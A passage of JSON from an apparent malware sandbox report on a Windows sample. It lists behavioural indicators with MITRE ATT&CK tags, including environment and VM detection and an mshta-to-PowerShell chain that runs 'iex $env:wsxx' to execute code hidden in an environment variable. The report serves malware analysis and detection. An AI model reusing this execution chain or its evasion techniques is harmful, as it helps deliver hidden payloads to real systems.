\"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Able to execute application using Windows wscript shell (JSP)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":10,"id":"string-461","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"$34","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"mshta.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Caches (UID: 00000000-00003516)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00003516)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Local (UID: 00000000-00003516)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files (UID: 00000000-00003516)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00003516)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Windows\\Cookies (UID: 00000000-00003516)\n \"mshta.exe\" called \"CreateDirectoryW\" with parameter %LOCALAPPDATA%\\Microsoft\\Windows\\History (UID: 00000000-00003516)\n \"powershell.exe\" called \"CreateDirectoryW\" with parameter C:\\Users\\%OSUSER% (UID: 00000000-00003436)\n \"powershell.exe\" called \"CreateDirectoryW\" with parameter %USERPROFILE%\\AppData\\Roaming (UID: 00000000-00003436)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"mshta.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" iex $env:wsxx\" - (UID: 00000000-00003516)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134677063370861834.3436.DefaultAppDomain.powershell\" - (UID: 00000000-00003436)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$36","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryA@KERNEL32.dll at 25556-859-004023C1\n LoadLibraryA@KERNEL32.dll at 25556-875-00404A1E\n LoadLibraryExW@KERNEL32.dll at 25556-1066-00408B10","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains ability to run commands or expressions (Powershell command string)","description":"Found string \"iex $env:wsxx\" (Indicator: \"Invoke-Expression\"; File: \"powershell.exe\")\n Found string \"iex $env:\" (Indicator: \"Invoke-Expression\"; Source: \"00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"Invoke-Expression\"; Source: \"00000000-00005964.00000002.81275.018DC000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-288","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$39","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process mshta.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n Process mshta.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n Process mshta.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex\"\n Process powershell.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"DISMHOST.EXE.6C8DE937.bin\" as clean (type is \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"Process \"powershell.exe\" with commands \"iex $env:wsxx\" (UID: 00000000-00003436)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$3a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"DISMHOST.EXE.6C8DE937.bin\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134677063370861834.3436.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$3c","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"mshta.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 77510000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$3d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 61E60000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 753E0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 753E0000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 62AC0000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 63270000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76330000\n \"mshta.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76330000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 76330000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"1800190068e8da65@api-ms-win-core-synch-l1-2-0.dll\"\n \"1800190088e8da65@api-ms-win-core-synch-l1-2-0.dll\"\n \"0d000e00cc5fda65@ntdll.dll\"\n \"2000210014088b01@ntdll.dll\"\n \"1a001b00d04d8b01@ntdll.dll\"\n \"0e000f004ce97b74@LPK.dll\"\n \"1500160020733369@ADVAPI32.dll\"\n \"0e000f00e4733369@ADVAPI32.dll\"\n \"0e000f0050743369@ADVAPI32.dll\"\n \"11001200d47d3369@ADVAPI32.dll\"\n \"110012007c7e3369@ADVAPI32.dll\"\n \"12001300cc7e3369@ADVAPI32.dll\"\n \"12001300387f3369@ADVAPI32.dll\"\n \"14001500e4b73369@ADVAPI32.dll\"\n \"1400150000b83369@ADVAPI32.dll\"\n \"140015001cb83369@ADVAPI32.dll\"\n \"1700180038b83369@ADVAPI32.dll\"\n \"0d000e0054b83369@ADVAPI32.dll\"\n \"1100120064b83369@ADVAPI32.dll\"\n \"110012007cb83369@ADVAPI32.dll\"\n \"0d000e0090903369@wininet.dll\"\n \"0d000e000c913369@wininet.dll\"\n \"100011004c913369@wininet.dll\"\n \"1000110004923369@wininet.dll\"\n \"10001100ccb83369@wininet.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" was detected as \"MinGW\" and name: \"Compiler\"\n \"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" was detected as \"GNU linker ld (GNU Binutils)\" and name: \"Linker\"\n \"DISMHOST.EXE.6C8DE937.bin\" was detected as \"MinGW\" and name: \"Compiler\"\n \"DISMHOST.EXE.6C8DE937.bin\" was detected as \"GNU linker ld (GNU Binutils)\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"00000000-00003436\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"DISMHOST.EXE.6C8DE937.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" has an executable section named \".text!\"\n \"DISMHOST.EXE.6C8DE937.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" has an writable section named \".data!\"\n \"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" has an writable section named \".bss!\"\n \"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" has an writable section named \".idata=\"\n \"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" has an writable section named \".CRT!\"\n \"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" has an writable section named \".tls@\"\n \"DISMHOST.EXE.6C8DE937.bin\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$3f","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" [Source: 00000000-00003516-00000C47-9477425470]\n Observed system executable string:\"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" iex $env:wsxx\" [Source: 00000000-00003516-00000C47-9477425470]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$40","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$41","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$42","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$43","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$44","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"DISMHOST.EXE.6C8DE937.bin\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\1aw0kasd.prp.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\alkk0qkz.khf.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"mshta.exe\" connecting to \"\\ThemeApiPort\"\n \"powershell.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to lookup the windows account name","description":"LookupAccountNameW@ADVAPI32.dll at 25556-795-0040C5FB\n LookupAccountNameW@ADVAPI32.dll at 25556-918-0040A1A0\n LookupAccountNameW@ADVAPI32.dll at 25556-1161-004022B0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1033","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"dism.log\" has type \"Unicode text UTF-8 (with BOM) text with very long lines (312) with CRLF line terminators\"- [targetUID: N/A]\n \"DISMHOST.EXE.6C8DE937.bin\" has type \"PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections\"- [targetUID: N/A]\n \"ModuleAnalysisCache\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00003436]\n \"StartupProfileData-NonInteractive\" has type \"data\"- Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00003436]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$45","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"powershell.exe\" queries basic process information of the \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\crypt32\" (UID: 3436)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$46","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$47","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"References PATH environment registry keys","description":"Found string \"Win32Registry|HKEY_CURRENT_USER\\Environment\"; Source: \"00000000-00005964.00000003.86793.00640000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1574.007","relevance":1,"id":"string-530","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Able to detect virtual machine (string)\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Calls an API typically used to find device information\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Contains ability to detect sandbox (imports API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$48","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache\"\n \"powershell.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache\"\n \"powershell.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$49","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\1aw0kasd.prp.ps1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\alkk0qkz.khf.psm1\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache\"\n \"powershell.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\powershell\\startupprofiledata-noninteractive\"\n \"powershell.exe\" writes file \"%localappdata%\\microsoft\\windows\\powershell\\moduleanalysiscache\"\n \"powershell.exe\" writes file \"%localappdata%\\microsoft\\windows\\powershell\\startupprofiledata-noninteractive\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to register an 